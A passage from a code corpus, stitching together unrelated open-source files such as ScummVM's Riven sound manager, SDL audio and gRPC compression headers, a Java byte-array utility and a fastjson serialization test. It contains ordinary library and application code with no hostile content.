list. if (!PyList_Check(*myResult)) { throw ell::utilities::Exception("Return value from 'main' function in Python module '" + name + "' is not a list"); } // should get back a list of floats. for (size_t i = 0, n = PyList_Size(*myResult); i < n; i++) { PyObject* item = PyList_GetItem(*myResult, i); // borrowed reference if (item != nullptr) { double x = PyFloat_AsDouble(item); result.push_back(x); } } return result; } #else // defined(PYTHON_FOUND) #include <stdexcept> #include <string> #include <vector> std::vector<double> ExecutePythonScript(const std::string& filePath, const std::vector<std::string>&) { std::string name = ell::utilities::GetFileName(filePath); throw ell::utilities::Exception("Cannot run python plugin '" + name + "' because ELL was not built with python support"); } #endif // defined(PYTHON_FOUND)
{ "pile_set_name": "Github" }
/* ScummVM - Graphic Adventure Engine * * ScummVM is the legal property of its developers, whose names * are too numerous to list here. Please refer to the COPYRIGHT * file distributed with this source distribution. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * */ #include "common/debug.h" #include "common/system.h" #include "audio/audiostream.h" #include "mohawk/riven_sound.h" #include "mohawk/riven.h" #include "mohawk/riven_card.h" #include "mohawk/resource.h" #include "mohawk/sound.h" namespace Mohawk { RivenSoundManager::RivenSoundManager(MohawkEngine_Riven *vm) : _vm(vm), _effect(nullptr), _mainAmbientSoundId(-1), _effectPlayOnDraw(false), _nextFadeUpdate(0) { } RivenSoundManager::~RivenSoundManager() { stopSound(); stopAllSLST(false); } Audio::RewindableAudioStream *RivenSoundManager::makeAudioStream(uint16 id) { return makeMohawkWaveStream(_vm->getResource(ID_TWAV, id)); } void RivenSoundManager::playSound(uint16 id, uint16 volume, bool playOnDraw) { debug (0, "Playing sound %d", id); stopSound(); Audio::RewindableAudioStream *rewindStream = makeAudioStream(id); if (!rewindStream) { warning("Unable to play sound with id %d", id); return; } _effect = new RivenSound(_vm, rewindStream, Audio::Mixer::kSFXSoundType); _effect->setVolume(volume); _effectPlayOnDraw = playOnDraw; if (!playOnDraw) { _effect->play(); } } void RivenSoundManager::playCardSound(const Common::String &name, uint16 volume, bool playOnDraw) { Common::String fullName = Common::String::format("%d_%s_1", _vm->getCard()->getId(), name.c_str()); uint16 id =_vm->findResourceID(ID_TWAV, fullName); playSound(id, volume, playOnDraw); } void RivenSoundManager::playSLST(const SLSTRecord &slstRecord) { if (slstRecord.soundIds.empty()) { return; } if (slstRecord.soundIds[0] == _mainAmbientSoundId) { if (slstRecord.soundIds.size() > _ambientSounds.sounds.size()) { addAmbientSounds(slstRecord); } setAmbientLooping(slstRecord.loop); setTargetVolumes(slstRecord); _ambientSounds.suspend = slstRecord.suspend; if (slstRecord.suspend) { freePreviousAmbientSounds(); pauseAmbientSounds(); applyTargetVolumes(); } else { playAmbientSounds(); } } else { _mainAmbientSoundId = slstRecord.soundIds[0]; freePreviousAmbientSounds(); moveAmbientSoundsToPreviousSounds(); addAmbientSounds(slstRecord); setAmbientLooping(slstRecord.loop); setTargetVolumes(slstRecord); _ambientSounds.suspend = slstRecord.suspend; if (slstRecord.suspend) { freePreviousAmbientSounds(); applyTargetVolumes(); } else { startFadingAmbientSounds(slstRecord.fadeFlags); } } } void RivenSoundManager::stopAllSLST(bool fade) { _mainAmbientSoundId = -1; freePreviousAmbientSounds(); moveAmbientSoundsToPreviousSounds(); startFadingAmbientSounds(fade ? kFadeOutPreviousSounds : 0); } void RivenSoundManager::stopSound() { if (_effect) { delete _effect; } _effect = nullptr; _effectPlayOnDraw = false; } void RivenSoundManager::addAmbientSounds(const SLSTRecord &record) { if (record.soundIds.size() > _ambientSounds.sounds.size()) { uint oldSize = _ambientSounds.sounds.size(); // Resize the list to the new size _ambientSounds.sounds.resize(record.soundIds.size()); // Add new elements to the list for (uint i = oldSize; i < _ambientSounds.sounds.size(); i++) { Audio::RewindableAudioStream *stream = makeAudioStream(record.soundIds[i]); RivenSound *sound = new RivenSound(_vm, stream, Audio::Mixer::kMusicSoundType); sound->setVolume(record.volumes[i]); sound->setBalance(record.balances[i]); _ambientSounds.sounds[i].sound = sound; _ambientSounds.sounds[i].targetVolume = record.volumes[i]; _ambientSounds.sounds[i].targetBalance = record.balances[i]; } } } void RivenSoundManager::setTargetVolumes(const SLSTRecord &record) { for (uint i = 0; i < MIN(_ambientSounds.sounds.size(), record.volumes.size()); i++) { _ambientSounds.sounds[i].targetVolume = record.volumes[i] * record.globalVolume / 256; _ambientSounds.sounds[i].targetBalance = record.balances[i]; } _ambientSounds.fading = true; } void RivenSoundManager::freePreviousAmbientSounds() { for (uint i = 0; i < _previousAmbientSounds.sounds.size(); i++) { delete _previousAmbientSounds.sounds[i].sound; } _previousAmbientSounds = AmbientSoundList(); } void RivenSoundManager::moveAmbientSoundsToPreviousSounds() { _previousAmbientSounds = _ambientSounds; _ambientSounds = AmbientSoundList(); } void RivenSoundManager::applyTargetVolumes() { for (uint i = 0; i < _ambientSounds.sounds.size(); i++) { AmbientSound &ambientSound = _ambientSounds.sounds[i]; RivenSound *sound = ambientSound.sound; sound->setVolume(ambientSound.targetVolume); sound->setBalance(ambientSound.targetBalance); } _ambientSounds.fading = false; } void RivenSoundManager::startFadingAmbientSounds(uint16 flags) { for (uint i = 0; i < _ambientSounds.sounds.size(); i++) { AmbientSound &ambientSound = _ambientSounds.sounds[i]; uint16 volume; if (flags & kFadeInNewSounds) { volume = 0; } else { volume = ambientSound.targetVolume; } ambientSound.sound->setVolume(volume); } _ambientSounds.fading = true; playAmbientSounds(); if (!_previousAmbientSounds.sounds.empty()) { if (flags) { _previousAmbientSounds.fading = true; } else { freePreviousAmbientSounds(); } for (uint i = 0; i < _previousAmbientSounds.sounds.size(); i++) { AmbientSound &ambientSound = _previousAmbientSounds.sounds[i]; if (flags & kFadeOutPreviousSounds) { ambientSound.targetVolume = 0; } else { ambientSound.sound->setVolume(ambientSound.targetVolume); } } } } void RivenSoundManager::playAmbientSounds() { for (uint i = 0; i < _ambientSounds.sounds.size(); i++) { _ambientSounds.sounds[i].sound->play(); } } void RivenSoundManager::setAmbientLooping(bool loop) { for (uint i = 0; i < _ambientSounds.sounds.size(); i++) { _ambientSounds.sounds[i].sound->setLooping(loop); } } void RivenSoundManager::triggerDrawSound() { if (_effectPlayOnDraw && _effect) { _effect->play(); } _effectPlayOnDraw = false; } void RivenSoundManager::pauseAmbientSounds() { for (uint i = 0; i < _ambientSounds.sounds.size(); i++) { _ambientSounds.sounds[i].sound->pause(); } } void RivenSoundManager::updateSLST() { uint32 time = _vm->_system->getMillis(); int32 delta = CLIP<int32>(time - _nextFadeUpdate, -50, 50); if (_nextFadeUpdate == 0 || delta > 0) { _nextFadeUpdate = time + 50 - delta; if (_ambientSounds.fading) { fadeAmbientSoundList(_ambientSounds); } if (_previousAmbientSounds.fading) { fadeAmbientSoundList(_previousAmbientSounds); } if (!_previousAmbientSounds.sounds.empty() && !_ambientSounds.fading && !_previousAmbientSounds.fading) { freePreviousAmbientSounds(); } } } void RivenSoundManager::fadeAmbientSoundList(AmbientSoundList &list) { list.fading = false; for (uint i = 0; i < list.sounds.size(); i++) { AmbientSound &ambientSound = list.sounds[i]; list.fading |= fadeVolume(ambientSound); list.fading |= fadeBalance(ambientSound); } } bool RivenSoundManager::fadeVolume(AmbientSound &ambientSound) { uint16 volume = ambientSound.sound->getVolume(); float delta = (ambientSound.targetVolume - volume) / 30.0f; if (ABS<float>(delta) < 0.01f) { ambientSound.sound->setVolume(ambientSound.targetVolume); return false; } else { // Make sure the increment is not zero once converted to an integer if (delta > 0 && delta < 1) { delta = 1; } else if (delta < 0 && delta > -1) { delta = -1; } ambientSound.sound->setVolume(volume + delta); return true; } } bool RivenSoundManager::fadeBalance(RivenSoundManager::AmbientSound &ambientSound) { int16 balance = ambientSound.sound->getBalance(); float delta = (ambientSound.targetBalance - balance) / 10.0f; if (ABS<float>(delta) < 0.01) { ambientSound.sound->setBalance(ambientSound.targetBalance); return false; } else { // Make sure the increment is not zero once converted to an integer if (delta > 0 && delta < 1) { delta = 1; } else if (delta < 0 && delta > -1) { delta = -1; } ambientSound.sound->setBalance(balance + delta); return true; } } bool RivenSoundManager::isEffectPlaying() const { return _effect != nullptr && _effect->isPlaying(); } RivenSound::RivenSound(MohawkEngine_Riven *vm, Audio::RewindableAudioStream *rewindStream, Audio::Mixer::SoundType mixerType) : _vm(vm), _volume(Audio::Mixer::kMaxChannelVolume), _balance(0), _looping(false), _stream(rewindStream), _mixerType(mixerType) { } bool RivenSound::isPlaying() const { return _vm->_mixer->isSoundHandleActive(_handle); } void RivenSound::pause() { _vm->_mixer->pauseHandle(_handle, true); } void RivenSound::setVolume(uint16 volume) { _volume = volume; if (isPlaying()) { byte mixerVolume = convertVolume(volume); _vm->_mixer->setChannelVolume(_handle, mixerVolume); } } void RivenSound::setBalance(int16 balance) { _balance = balance; if (isPlaying()) { int8 mixerBalance = convertBalance(balance); _vm->_mixer->setChannelBalance(_handle, mixerBalance); } } void RivenSound::setLooping(bool loop) { if (isPlaying() && _looping != loop) { warning("Changing loop state while a sound is playing is not implemented."); } _looping = loop; } void RivenSound::play() { if (isPlaying()) { // If the sound is already playing, make sure it is not paused _vm->_mixer->pauseHandle(_handle, false); return; } if (!_stream) { warning("Trying to play a sound without a stream"); return; } Audio::AudioStream *playStream; if (_looping) { playStream = new Audio::LoopingAudioStream(_stream, 0); } else { playStream = _stream; } int8 mixerBalance = convertBalance(_balance); byte mixerVolume = convertVolume(_volume); _vm->_mixer->playStream(_mixerType, &_handle, playStream, -1, mixerVolume, mixerBalance); _stream = nullptr; } byte RivenSound::convertVolume(uint16 volume) { // The volume is a fixed point value in the Mohawk part of the original engine. // It's not clear what happens when it is higher than one. return (volume > 255) ? 255 : volume; } int8 RivenSound::convertBalance(int16 balance) { return (int8)(balance >> 8); } RivenSound::~RivenSound() { _vm->_mixer->stopHandle(_handle); delete _stream; } int16 RivenSound::getBalance() const { return _balance; } uint16 RivenSound::getVolume() const { return _volume; } RivenSoundManager::AmbientSound::AmbientSound() : sound(nullptr), targetVolume(0), targetBalance(0) { } RivenSoundManager::AmbientSoundList::AmbientSoundList() : fading(false), suspend(false) { } } // End of namespace Mohawk
{ "pile_set_name": "Github" }
# src/base has some more tools in this folder, which we don't use. But we need # to have the folder so that the data deps we inherit doesn't error out.
{ "pile_set_name": "Github" }
package tahrir.tools; import java.io.*; import java.net.DatagramPacket; import java.util.*; import com.google.common.base.Joiner; import com.google.common.collect.AbstractIterator; import tahrir.TrConstants; public final class ByteArraySegment implements Iterable<Byte> { public final byte[] array; public final int offset; public final int length; public static ByteArraySegment from(final DatagramPacket dp) { final byte[] array = new byte[dp.getLength()]; // Create defensive copy of array to ensure immutability System.arraycopy(dp.getData(), dp.getOffset(), array, 0, dp.getLength()); return new ByteArraySegment(array); } public static ByteArraySegment from(final InputStream is, final int maxLength) throws IOException { final byte[] ba = new byte[maxLength]; final int len = is.read(ba); assert is.read() == -1; return new ByteArraySegment(ba, 0, len); } private ByteArraySegment(final byte[] array, final int offset, final int length) { this.array = array; this.offset = offset; this.length = length; } public boolean startsWith(final ByteArraySegment other) { if (other.length > length) return false; for (int x = 0; x < other.length; x++) { if (byteAt(x) != other.byteAt(x)) return false; } return true; } public ByteArraySegment(final byte[] array) { this.array = array; offset = 0; length = array.length; } public ByteArrayInputStream toBAIS() { return new ByteArrayInputStream(array, offset, length); } public DataInputStream toDataInputStream() { return new DataInputStream(toBAIS()); } public void writeTo(final OutputStream os) throws IOException { os.write(array, offset, length); } public ByteArraySegment subsegment(final int offset) { return subsegment(offset, Integer.MAX_VALUE); } public ByteArraySegment subsegment(final int offset, final int length) { return new ByteArraySegment(array, this.offset + offset, Math.min(length, array.length - (this.offset + offset))); } public static ByteArraySegmentBuilder builder() { return new ByteArraySegmentBuilder(); } public static final class ByteArraySegmentBuilder extends DataOutputStream { public void write(final ByteArraySegment seg) { try { this.write(seg.array, seg.offset, seg.length); } catch (final IOException e) { throw new RuntimeException(e); } } public ByteArraySegmentBuilder() { super(new ByteArrayOutputStream(TrConstants.DEFAULT_BAOS_SIZE)); } public ByteArraySegment build() { try { flush(); final ByteArrayOutputStream baos = (ByteArrayOutputStream) out; return new ByteArraySegment(baos.toByteArray()); } catch (final IOException e) { throw new RuntimeException(e); } } } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + Arrays.hashCode(array); result = prime * result + length; result = prime * result + offset; return result; } public final byte byteAt(final int pos) { if (pos > length) throw new ArrayIndexOutOfBoundsException("byteAt(" + pos + ") but length is " + length); return array[offset + pos]; } @Override public String toString() { final StringBuffer ret = new StringBuffer(); ret.append("ByteArraySegment[length="+length+" data=["); ret.append(Joiner.on(',').join(this)); ret.append("]"); return ret.toString(); } @Override public boolean equals(final Object obj) { if (this == obj) return true; if (obj == null) return false; if (!(obj instanceof ByteArraySegment)) return false; final ByteArraySegment other = (ByteArraySegment) obj; if (length != other.length) return false; for (int x = 0; x < length; x++) { if (byteAt(x) != other.byteAt(x)) return false; } return true; } @Override public Iterator<Byte> iterator() { return new AbstractIterator<Byte>() { int pos = 0; @Override protected Byte computeNext() { if (pos >= length) return endOfData(); else return ByteArraySegment.this.byteAt(pos++); } }; } }
{ "pile_set_name": "Github" }
 /* Copyright (c) 2010-present Maximus5 All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The name of the authors may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #pragma once // Code moved to WObjects.cpp bool isTerminalMode();
{ "pile_set_name": "Github" }
calib_time: 15-Mar-2012 11:37:16 R: 7.533745e-03 -9.999714e-01 -6.166020e-04 1.480249e-02 7.280733e-04 -9.998902e-01 9.998621e-01 7.523790e-03 1.480755e-02 T: -4.069766e-03 -7.631618e-02 -2.717806e-01 delta_f: 0.000000e+00 0.000000e+00 delta_c: 0.000000e+00 0.000000e+00
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <Bucket type = "1" version = "2.0"> <Breakpoints> <BreakpointProxy BreakpointExtensionID = "Xcode.Breakpoint.FileBreakpoint"> <BreakpointContent shouldBeEnabled = "Yes" ignoreCount = "0" continueAfterRunningActions = "No" filePath = "YUChineseSorting/ViewController.m" timestampString = "468813381.506182" startingColumnNumber = "9223372036854775807" endingColumnNumber = "9223372036854775807" startingLineNumber = "33" endingLineNumber = "33" landmarkName = "-viewDidLoad" landmarkType = "5"> </BreakpointContent> </BreakpointProxy> </Breakpoints> </Bucket>
{ "pile_set_name": "Github" }
<?xml version="1.0"?> <entity_risk> <risk id="None" name="None"/> <risk id="Low" name="Low"/> <risk id="Medium" name="Medium"/> <risk id="High" name="High"/> </entity_risk>
{ "pile_set_name": "Github" }
// Copyright David Abrahams 2002. // Distributed under the Boost Software License, Version 1.0. (See // accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef ENUM_BASE_DWA200298_HPP # define ENUM_BASE_DWA200298_HPP # include <boost/python/object_core.hpp> # include <boost/python/type_id.hpp> # include <boost/python/converter/to_python_function_type.hpp> # include <boost/python/converter/convertible_function.hpp> # include <boost/python/converter/constructor_function.hpp> namespace boost { namespace python { namespace objects { struct BOOST_PYTHON_DECL enum_base : python::api::object { protected: enum_base( char const* name , converter::to_python_function_t , converter::convertible_function , converter::constructor_function , type_info , const char *doc = 0 ); void add_value(char const* name, long value); void export_values(); static PyObject* to_python(PyTypeObject* type, long x); }; }}} // namespace boost::python::object #endif // ENUM_BASE_DWA200298_HPP
{ "pile_set_name": "Github" }
<?php /** * This file is part of the Carbon package. * * (c) Brian Nesbitt <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ return require __DIR__.'/en.php';
{ "pile_set_name": "Github" }
/* * * Copyright 2017 gRPC authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #ifndef GRPC_CORE_LIB_COMPRESSION_COMPRESSION_INTERNAL_H #define GRPC_CORE_LIB_COMPRESSION_COMPRESSION_INTERNAL_H #include <grpc/support/port_platform.h> #include <grpc/impl/codegen/compression_types.h> #ifdef __cplusplus extern "C" { #endif typedef enum { GRPC_MESSAGE_COMPRESS_NONE = 0, GRPC_MESSAGE_COMPRESS_DEFLATE, GRPC_MESSAGE_COMPRESS_GZIP, /* TODO(ctiller): snappy */ GRPC_MESSAGE_COMPRESS_ALGORITHMS_COUNT } grpc_message_compression_algorithm; /** Stream compresssion algorithms supported by gRPC */ typedef enum { GRPC_STREAM_COMPRESS_NONE = 0, GRPC_STREAM_COMPRESS_GZIP, GRPC_STREAM_COMPRESS_ALGORITHMS_COUNT } grpc_stream_compression_algorithm; /* Interfaces performing transformation between compression algorithms and * levels. */ grpc_message_compression_algorithm grpc_compression_algorithm_to_message_compression_algorithm( grpc_compression_algorithm algo); grpc_stream_compression_algorithm grpc_compression_algorithm_to_stream_compression_algorithm( grpc_compression_algorithm algo); uint32_t grpc_compression_bitset_to_message_bitset(uint32_t bitset); uint32_t grpc_compression_bitset_to_stream_bitset(uint32_t bitset); uint32_t grpc_compression_bitset_from_message_stream_compression_bitset( uint32_t message_bitset, uint32_t stream_bitset); int grpc_compression_algorithm_from_message_stream_compression_algorithm( grpc_compression_algorithm* algorithm, grpc_message_compression_algorithm message_algorithm, grpc_stream_compression_algorithm stream_algorithm); /* Interfaces for message compression. */ int grpc_message_compression_algorithm_name( grpc_message_compression_algorithm algorithm, const char** name); grpc_message_compression_algorithm grpc_message_compression_algorithm_for_level( grpc_compression_level level, uint32_t accepted_encodings); int grpc_message_compression_algorithm_parse( grpc_slice value, grpc_message_compression_algorithm* algorithm); /* Interfaces for stream compression. */ int grpc_stream_compression_algorithm_parse( grpc_slice value, grpc_stream_compression_algorithm* algorithm); #ifdef __cplusplus } #endif #endif /* GRPC_CORE_LIB_COMPRESSION_COMPRESSION_INTERNAL_H */
{ "pile_set_name": "Github" }
/* SDL - Simple DirectMedia Layer Copyright (C) 1997-2006 Sam Lantinga This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Sam Lantinga [email protected] */ /* Access to the raw audio mixing buffer for the SDL library */ #ifndef _SDL_audio_h #define _SDL_audio_h #include "SDL_stdinc.h" #include "SDL_error.h" #include "SDL_endian.h" #include "SDL_mutex.h" #include "SDL_thread.h" #include "SDL_rwops.h" #include "begin_code.h" /* Set up for C function definitions, even when using C++ */ #ifdef __cplusplus extern "C" { #endif /* The calculated values in this structure are calculated by SDL_OpenAudio() */ typedef struct SDL_AudioSpec { int freq; /* DSP frequency -- samples per second */ Uint16 format; /* Audio data format */ Uint8 channels; /* Number of channels: 1 mono, 2 stereo */ Uint8 silence; /* Audio buffer silence value (calculated) */ Uint16 samples; /* Audio buffer size in samples (power of 2) */ Uint16 padding; /* Necessary for some compile environments */ Uint32 size; /* Audio buffer size in bytes (calculated) */ /* This function is called when the audio device needs more data. 'stream' is a pointer to the audio data buffer 'len' is the length of that buffer in bytes. Once the callback returns, the buffer will no longer be valid. Stereo samples are stored in a LRLRLR ordering. */ void (SDLCALL *callback)(void *userdata, Uint8 *stream, int len); void *userdata; } SDL_AudioSpec; /* Audio format flags (defaults to LSB byte order) */ #define AUDIO_U8 0x0008 /* Unsigned 8-bit samples */ #define AUDIO_S8 0x8008 /* Signed 8-bit samples */ #define AUDIO_U16LSB 0x0010 /* Unsigned 16-bit samples */ #define AUDIO_S16LSB 0x8010 /* Signed 16-bit samples */ #define AUDIO_U16MSB 0x1010 /* As above, but big-endian byte order */ #define AUDIO_S16MSB 0x9010 /* As above, but big-endian byte order */ #define AUDIO_U16 AUDIO_U16LSB #define AUDIO_S16 AUDIO_S16LSB /* Native audio byte ordering */ #if SDL_BYTEORDER == SDL_LIL_ENDIAN #define AUDIO_U16SYS AUDIO_U16LSB #define AUDIO_S16SYS AUDIO_S16LSB #else #define AUDIO_U16SYS AUDIO_U16MSB #define AUDIO_S16SYS AUDIO_S16MSB #endif /* A structure to hold a set of audio conversion filters and buffers */ typedef struct SDL_AudioCVT { int needed; /* Set to 1 if conversion possible */ Uint16 src_format; /* Source audio format */ Uint16 dst_format; /* Target audio format */ double rate_incr; /* Rate conversion increment */ Uint8 *buf; /* Buffer to hold entire audio data */ int len; /* Length of original audio buffer */ int len_cvt; /* Length of converted audio buffer */ int len_mult; /* buffer must be len*len_mult big */ double len_ratio; /* Given len, final size is len*len_ratio */ void (SDLCALL *filters[10])(struct SDL_AudioCVT *cvt, Uint16 format); int filter_index; /* Current audio conversion function */ } SDL_AudioCVT; /* Function prototypes */ /* These functions are used internally, and should not be used unless you * have a specific need to specify the audio driver you want to use. * You should normally use SDL_Init() or SDL_InitSubSystem(). */ extern DECLSPEC int SDLCALL SDL_AudioInit(const char *driver_name); extern DECLSPEC void SDLCALL SDL_AudioQuit(void); /* This function fills the given character buffer with the name of the * current audio driver, and returns a pointer to it if the audio driver has * been initialized. It returns NULL if no driver has been initialized. */ extern DECLSPEC char * SDLCALL SDL_AudioDriverName(char *namebuf, int maxlen); /* * This function opens the audio device with the desired parameters, and * returns 0 if successful, placing the actual hardware parameters in the * structure pointed to by 'obtained'. If 'obtained' is NULL, the audio * data passed to the callback function will be guaranteed to be in the * requested format, and will be automatically converted to the hardware * audio format if necessary. This function returns -1 if it failed * to open the audio device, or couldn't set up the audio thread. * * When filling in the desired audio spec structure, * 'desired->freq' should be the desired audio frequency in samples-per-second. * 'desired->format' should be the desired audio format. * 'desired->samples' is the desired size of the audio buffer, in samples. * This number should be a power of two, and may be adjusted by the audio * driver to a value more suitable for the hardware. Good values seem to * range between 512 and 8096 inclusive, depending on the application and * CPU speed. Smaller values yield faster response time, but can lead * to underflow if the application is doing heavy processing and cannot * fill the audio buffer in time. A stereo sample consists of both right * and left channels in LR ordering. * Note that the number of samples is directly related to time by the * following formula: ms = (samples*1000)/freq * 'desired->size' is the size in bytes of the audio buffer, and is * calculated by SDL_OpenAudio(). * 'desired->silence' is the value used to set the buffer to silence, * and is calculated by SDL_OpenAudio(). * 'desired->callback' should be set to a function that will be called * when the audio device is ready for more data. It is passed a pointer * to the audio buffer, and the length in bytes of the audio buffer. * This function usually runs in a separate thread, and so you should * protect data structures that it accesses by calling SDL_LockAudio() * and SDL_UnlockAudio() in your code. * 'desired->userdata' is passed as the first parameter to your callback * function. * * The audio device starts out playing silence when it's opened, and should * be enabled for playing by calling SDL_PauseAudio(0) when you are ready * for your audio callback function to be called. Since the audio driver * may modify the requested size of the audio buffer, you should allocate * any local mixing buffers after you open the audio device. */ extern DECLSPEC int SDLCALL SDL_OpenAudio(SDL_AudioSpec *desired, SDL_AudioSpec *obtained); /* * Get the current audio state: */ typedef enum { SDL_AUDIO_STOPPED = 0, SDL_AUDIO_PLAYING, SDL_AUDIO_PAUSED } SDL_audiostatus; extern DECLSPEC SDL_audiostatus SDLCALL SDL_GetAudioStatus(void); /* * This function pauses and unpauses the audio callback processing. * It should be called with a parameter of 0 after opening the audio * device to start playing sound. This is so you can safely initialize * data for your callback function after opening the audio device. * Silence will be written to the audio device during the pause. */ extern DECLSPEC void SDLCALL SDL_PauseAudio(int pause_on); /* * This function loads a WAVE from the data source, automatically freeing * that source if 'freesrc' is non-zero. For example, to load a WAVE file, * you could do: * SDL_LoadWAV_RW(SDL_RWFromFile("sample.wav", "rb"), 1, ...); * * If this function succeeds, it returns the given SDL_AudioSpec, * filled with the audio data format of the wave data, and sets * 'audio_buf' to a malloc()'d buffer containing the audio data, * and sets 'audio_len' to the length of that audio buffer, in bytes. * You need to free the audio buffer with SDL_FreeWAV() when you are * done with it. * * This function returns NULL and sets the SDL error message if the * wave file cannot be opened, uses an unknown data format, or is * corrupt. Currently raw and MS-ADPCM WAVE files are supported. */ extern DECLSPEC SDL_AudioSpec * SDLCALL SDL_LoadWAV_RW(SDL_RWops *src, int freesrc, SDL_AudioSpec *spec, Uint8 **audio_buf, Uint32 *audio_len); /* Compatibility convenience function -- loads a WAV from a file */ #define SDL_LoadWAV(file, spec, audio_buf, audio_len) \ SDL_LoadWAV_RW(SDL_RWFromFile(file, "rb"),1, spec,audio_buf,audio_len) /* * This function frees data previously allocated with SDL_LoadWAV_RW() */ extern DECLSPEC void SDLCALL SDL_FreeWAV(Uint8 *audio_buf); /* * This function takes a source format and rate and a destination format * and rate, and initializes the 'cvt' structure with information needed * by SDL_ConvertAudio() to convert a buffer of audio data from one format * to the other. * This function returns 0, or -1 if there was an error. */ extern DECLSPEC int SDLCALL SDL_BuildAudioCVT(SDL_AudioCVT *cvt, Uint16 src_format, Uint8 src_channels, int src_rate, Uint16 dst_format, Uint8 dst_channels, int dst_rate); /* Once you have initialized the 'cvt' structure using SDL_BuildAudioCVT(), * created an audio buffer cvt->buf, and filled it with cvt->len bytes of * audio data in the source format, this function will convert it in-place * to the desired format. * The data conversion may expand the size of the audio data, so the buffer * cvt->buf should be allocated after the cvt structure is initialized by * SDL_BuildAudioCVT(), and should be cvt->len*cvt->len_mult bytes long. */ extern DECLSPEC int SDLCALL SDL_ConvertAudio(SDL_AudioCVT *cvt); /* * This takes two audio buffers of the playing audio format and mixes * them, performing addition, volume adjustment, and overflow clipping. * The volume ranges from 0 - 128, and should be set to SDL_MIX_MAXVOLUME * for full audio volume. Note this does not change hardware volume. * This is provided for convenience -- you can mix your own audio data. */ #define SDL_MIX_MAXVOLUME 128 extern DECLSPEC void SDLCALL SDL_MixAudio(Uint8 *dst, const Uint8 *src, Uint32 len, int volume); /* * The lock manipulated by these functions protects the callback function. * During a LockAudio/UnlockAudio pair, you can be guaranteed that the * callback function is not running. Do not call these from the callback * function or you will cause deadlock. */ extern DECLSPEC void SDLCALL SDL_LockAudio(void); extern DECLSPEC void SDLCALL SDL_UnlockAudio(void); /* * This function shuts down audio processing and closes the audio device. */ extern DECLSPEC void SDLCALL SDL_CloseAudio(void); /* Ends C function definitions when using C++ */ #ifdef __cplusplus } #endif #include "close_code.h" #endif /* _SDL_audio_h */
{ "pile_set_name": "Github" }
package com.alibaba.json.bvt.parser.deser; import java.math.BigDecimal; import java.util.ArrayList; import java.util.List; import junit.framework.TestCase; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; import com.alibaba.json.test.benchmark.encode.EishayEncode; public class TestASM extends TestCase { public void test_asm() throws Exception { String text = JSON.toJSONString(EishayEncode.mediaContent); System.out.println(text); } public void test_0() throws Exception { Department department = new Department(); Person person = new Person(); person.setId(123); person.setName("刘伟加"); person.setAge(40); person.setSalary(new BigDecimal("123456")); person.getValues().add("A"); person.getValues().add("B"); person.getValues().add("C"); department.getPersons().add(person); department.getPersons().add(new Person()); department.getPersons().add(new Person()); { String text = JSON.toJSONString(department); System.out.println(text); } { String text = JSON.toJSONString(department, SerializerFeature.WriteMapNullValue); System.out.println(text); } } public static class Person { private int id; private String name; private int age; private BigDecimal salary; private List<Person> childrens = new ArrayList<Person>(); private List<String> values = new ArrayList<String>(); public List<String> getValues() { return values; } public void setValues(List<String> values) { this.values = values; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public BigDecimal getSalary() { return salary; } public void setSalary(BigDecimal salary) { this.salary = salary; } public List<Person> getChildrens() { return childrens; } public void setChildrens(List<Person> childrens) { this.childrens = childrens; } } public static class Department { private int id; private String name; private List<Person> persons = new ArrayList<Person>(); public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public List<Person> getPersons() { return persons; } public void setPersons(List<Person> persons) { 